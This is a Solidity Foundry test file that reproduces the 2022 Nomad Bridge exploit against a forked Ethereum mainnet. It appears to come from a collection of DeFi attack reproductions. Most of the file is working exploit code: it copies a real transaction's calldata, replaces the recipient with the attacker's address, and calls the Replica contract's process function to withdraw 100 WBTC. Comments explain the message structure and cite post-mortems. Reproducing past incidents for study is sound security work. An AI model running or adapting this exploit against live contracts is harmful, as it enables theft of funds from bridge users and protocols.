-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
NomadBridge_exp.sol
90 lines (77 loc) · 5.36 KB
/
NomadBridge_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~152M US$
// Attacker(s) : ☠😈👽🤖🐵🌝🤷♂️
// Replica contract mistakenly initialize : 0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad
// Example TXs in this reproduce
// Attacker send 0.01 WBTC to NomadBridge : 0xed26708a7335116bdb0673f32ace7c2f329fe3cd349e200447210f1721f335f0
// NomadBridge Process 100 WBTC to Attacker : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// @Info
// Nomad BridgeRouter Contract : https://etherscan.io/address/0x88a69b4e698a4b090df6cf5bd7b2d47325ad30a3#code (Proxy)
// Nomad BridgeRouter Contract : https://etherscan.io/address/0x15fda9f60310d09fea54e3c99d1197dff5107248#code (Logic)
// Nomad Replica Contract : https://etherscan.io/address/0x5d94309e5a0090b165fa4181519701637b6daeba#code (Proxy)
// Nomad Replica Contract : https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code (Logic) (Vulnerable!!)
// WBTC Contract : https://etherscan.io/token/0x2260fac5e5542a773aa44fbcfedf7c193bc2c599#code
// NomadBridge Audit Report : https://github.com/nomad-xyz/docs/blob/1ff0c55dba2a842c811468c57793ff9a6542ef0f/docs/public/Nomad-Audit.pdf (QSP-19 Proving With An Empty Leaf)
// @Analysis
// samczsun : https://twitter.com/samczsun/status/1554252024723546112
// ParadigmEng420 : https://twitter.com/paradigmeng420/status/1554249610574450688
// 0xfoobar : https://twitter.com/0xfoobar/status/1554269062653411334
// CertiK : https://twitter.com/CertiKAlert/status/1554305088037978113
// Beosin : https://twitter.com/BeosinAlert/status/1554303803218083842
// Blocksec : https://twitter.com/BlockSecTeam/status/1554335271964987395
// CertiK post-mortem : https://www.certik.com/resources/blog/28fMavD63CpZJOKOjb9DX3-nomad-bridge-exploit-incident-analysis
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IReplica constant Replica = IReplica(0x5D94309E5a0090b165FA4181519701637B6DAEBA);
IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
contract Attacker is Test {
function setUp() public {
cheat.createSelectFork("mainnet", 15_259_100);
cheat.label(address(Replica), "Replica");
cheat.label(address(WBTC), "WBTC");
}
function testExploit() public {
console.log(
"Attackers can copy the original user's transaction calldata and replacing the receive address with a personal one."
);
console.log("We mock how attackers/whitehats replay the calldata at block 15259100\n"); // Txhash : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);
console.log("Attacker claim 100 WBTC from NomadBridge...");
// Copy inputdata in txhash(0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), but replacing receive address
bytes memory msgP1 =
hex"6265616d000000000000000000000000d3dfd3ede74e0dcebc1aa685e151332857efce2d000013d60065746800000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a3006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000";
bytes memory recvAddr = abi.encodePacked(address(this));
bytes memory msgP2 =
hex"00000000000000000000000000000000000000000000000000000002540be400e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a";
bytes memory _message = bytes.concat(msgP1, recvAddr, msgP2);
// This is _message data structure :
/*
bytes memory chainId = "beam"; // hex(6265616d) == dec(1650811245), Ref: https://docs.nomad.xyz/developers/environments/domain-chain-ids
bytes memory sender = hex"D3dfD3eDe74E0DCEBC1AA685e151332857efCe2d";
bytes memory nonce = hex"13d6"; // == dec"5078"
bytes memory localDomain = hex"657468"; // == str"eth"
bytes memory recipientAddress = hex"88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3"; // BridgeRouter address. this will callback BridgeRouter.handle(_message)
------------ __message that call BridgeRouter.handle(__message) ------------
uint32 _domain = 657468; // == str("eth")
bytes32 _id = abi.encodePacked(address(WBTC));
bytes32 _to = abi.encodePacked(address(this));
uint256 _amnt = 100 * 1e8; // 100 WBTC
bytes32 _detailsHash = keccak256(abi.encodePacked(bytes("Wrapped BTC").length, "Wrapped BTC", bytes("WBTC").length, "WBTC", uint8(8)));
bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id);
bytes29 _action = BridgeMessage.formatTransfer(_to, _amnt, _detailsHash);
bytes memory __message = BridgeMessage.formatMessage(_tokenId, _action);
-----------------------------------------------------------------------------
bytes memory _message = bytes.concat(chainId, sender, nonce, localDomain, recipientAddress, __message);
*/
bool suc = Replica.process(_message);
require(suc, "Exploit failed");
emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);
}
}
interface IReplica {
function process(
bytes memory _message
) external returns (bool _success);
}